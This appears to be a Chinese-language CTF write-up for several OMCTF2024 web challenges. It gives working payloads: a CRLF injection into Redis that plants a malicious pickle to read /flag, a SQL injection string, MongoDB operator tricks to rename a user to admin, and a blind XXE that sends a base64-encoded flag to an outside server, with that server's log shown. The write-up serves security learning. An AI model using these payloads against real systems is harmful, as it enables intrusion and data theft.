OMCTF2024
pyssrf 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 from flask import Flask,requestfrom redis import Redisimport hashlibimport pickleimport base64import urllibapp = Flask(__name__) redis = Redis(host='127.0.0.1' , port=6379 ) def get_result (url ): url_key=hashlib.md5(url.encode()).hexdigest() res=redis.get(url_key) if res: return pickle.loads(base64.b64decode(res)) else : try : print (url) info = urllib.request.urlopen(url) res = info.read() pickres=pickle.dumps(res) b64res=base64.b64encode(pickres) redis.set (url_key,b64res,ex=300 ) return res except urllib.error.URLError as e: print (e) @app.route('/' ) def hello (): url = request.args.get("url" ) return '''<h1>give me your url via GET method like: ?url=127.0.0.1:8080<h1> <h2>Here is your result</h2> <h3>source code in /source</h3> %s ''' % get_result('http://' +url).decode(encoding='utf8' ,errors='ignore' )@app.route('/source' ) def source (): return
1 2 3 4 url_key=hashlib.md5(url.encode()).hexdigest() res=redis.get(url_key) if res: return pickle.loads(base64.b64decode(res))
这里将url md5加密后去寻找对应的键值对是否存在,存在将url为键的数据反序列化
先加密url
1 http://127.0.0.1:6379 cbdecc92165b29374b6b62cca016d4f8
urllib.request.urlopen
这个函数来对url进行处理,这个函数有个漏洞CVE-2019-9947,和9940,可以crlf
Python代码审计实战案例总结之CRLF和任意文件读取 - FreeBuf网络安全行业门户
CVE-2019-9740 Python urllib CRLF injection vulnerability 浅析 - 先知社区 (aliyun.com)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import osfrom requests import Request, Sessionimport pickleimport base64import urllib.parsefrom flask import render_templateclass A (): def __reduce__ (self ): return (eval , ("open('/flag','rb').read()" ,)) a = A() b = pickle.dumps(a) print (base64.b64encode(b))payload = ''' SET cbdecc92165b29374b6b62cca016d4f8 gASVNQAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIwZb3BlbignL2ZsYWcnLCdyYicpLnJlYWQoKZSFlFKULg== test: ''' payload = urllib.parse.quote(payload).replace("%0A" , "%0D%0A" ) payload = "127.0.0.1:6379/" + payload print (payload)
再访问?url=127.0.0.1:6379
phpsql /register.php 账号或密码只能包含数字和字母
1’||’1’=’1’#
Messy Mongo 数据库一般找数据库特性,比如前段时间数字中国初赛,PostgreSQL 有对column的特殊定义去绕过,不过感觉比赛还是得能搜到相关文章……直接翻官方文档太费时间了
这里给源码了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 import { Hono } from 'https://deno.land/x/hono@v4.3.0/mod.ts' import { serveStatic, jwt } from 'https://deno.land/x/hono@v4.3.0/middleware.ts' import { sign } from 'https://deno.land/x/hono@v4.3.0/utils/jwt/jwt.ts' import { MongoClient } from 'npm:mongodb@6.6.0' import { randomBytes } from 'node:crypto' import assert from 'node:assert' function createToken(length: number) { return randomBytes(length).toString('hex' ) } const secret = createToken(32 ) const client = new MongoClient('mongodb://127.0.0.1:27017' ) await client.connect()const db = client.db('messy' ) interface User { _id : string username: string password: string } const users = db.collection<User>('users' ) interface Todo { _id : string user: string title: string completed: boolean } const todos = db.collection<Todo>('todos' ) const app = new Hono() app.use('/' , serveStatic({ root: './static' })) app.post('/api/login' , async (c) => { const { username, password } = await c.req.json() assert (typeof username === 'string' ) assert (typeof password === 'string' ) const user = await users.findOne({ username, password }) assert (user) const token = await sign({ user: user.username }, secret) return c.json({ token }) }) app.use('/api/*' , jwt({ secret })) app.patch('/api/login' , async (c) => { const { user } = c.get('jwtPayload' ) const delta = await c.req.json() const newname = delta['username' ] assert .notEqual(newname, 'admin' ) await users.updateOne({ username: user }, [{ $set : delta }]) if (newname) { await todos.updateMany({ user }, [{ $set : { user: delta['username' ] } }]) } return c.json(0 ) }) app.get('/api/todo' , async (c) => { const { user } = c.get('jwtPayload' ) const list = await todos.find({ user }).toArray() return c.json(list ) }) app.post('/api/todo' , async (c) => { const { user } = c.get('jwtPayload' ) const { title } = await c.req.json() assert (typeof title === 'string' ) await todos.insertOne({ _id : createToken(16 ), user, title, completed: false }) return c.json(0 ) }) app.get('/api/todo/:id' , async (c) => { const { user } = c.get('jwtPayload' ) const todo = await todos.findOne({ _id : c.req.param('id' ), user }) return c.json(todo) }) app.patch('/api/todo/:id' , async (c) => { const { user } = c.get('jwtPayload' ) const delta = await c.req.json() assert (!('_id' in delta)) assert (!('user' in delta)) const { matchedCount } = await todos.updateOne({ _id : c.req.param('id' ), user }, [ { $set : delta } ]) assert (matchedCount) return c.json(0 ) }) app.delete('/api/todo/:id' , async (c) => { const { user } = c.get('jwtPayload' ) const { deletedCount } = await todos.deleteOne({ _id : c.req.param('id' ), user }) assert (deletedCount) return c.json(0 ) }) Deno.serve({ hostname: '0.0.0.0' , port: 1898 }, app.fetch)
看起来
1 2 3 4 5 6 7 8 9 10 11 app.patch('/api/login' , async (c) => { const { user } = c.get('jwtPayload' ) const delta = await c.req.json() const newname = delta['username' ] assert .notEqual(newname, 'admin' ) await users.updateOne({ username: user }, [{ $set : delta }]) if (newname) { await todos.updateMany({ user }, [{ $set : { user: delta['username' ] } }]) } return c.json(0 ) })
这都没password,不用验证passwd
有密码
1 2 3 db.todos.insertOne({ _id: '$(openssl rand -hex 16)', user: 'admin', title: 'Secretly keep my flag is $FLAG!', completed: false }) db.users.insertOne({ _id: '$(openssl rand -hex 16)', username: 'ctfer', password: 'helloctfer!' }) db.todos.insertOne({ _id: '$(openssl rand -hex 16)', user: 'ctfer', title: 'Try to hack and get the flag', completed: false })
抓包后是有token
1 {"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiY3RmZXIifQ.O7iTEG4uaBML7UY6g3w30luLM_5Vzby7q-CS6a2lA4s"}
要成功修改用户名
PATCH发送
MongoDB 运算符两个方法
{"username":{"$substr":["123admin456",3,5]}}
{"username": { "$concat": ["ad", "min"]}}
还有这样
{"username":{"$toLower":"$username"}}
EXPR 第一次见,学到了
fileit $creds = simplexml_import_dom($dom); –>
无回显 打xxe
vps启动1.dtd
1 <!ENTITY % all "<!ENTITY % send SYSTEM 'http://116.204.112.121:8888/?f=%file;'>">
post
1 2 3 4 5 6 7 8 9 POST / HTTP/1.1 <!DOCTYPE root [ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag" > <!ENTITY % dtd SYSTEM "http://116.204.112.121:8888/1.dtd" > %dtd ; %all ; %send ; ]>
1 2 3 4 5 cactus@walnut:/double$ sudo python3 -m http.server 8888 Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ... 106.120.124.32 - - [09/May/2024 15:26:54] "GET /1.dtd HTTP/1.0" 200 - 106.120.124.32 - - [09/May/2024 15:26:54] "GET /?f=ZmxhZ3tMS0FzZGtKTEthbGttfQo= HTTP/1.0" 200 -
XSS https://github.com/PwnFunction/v8-randomness-predictor/blob/main/main.py
还涉及到一些随机数预测
学习到了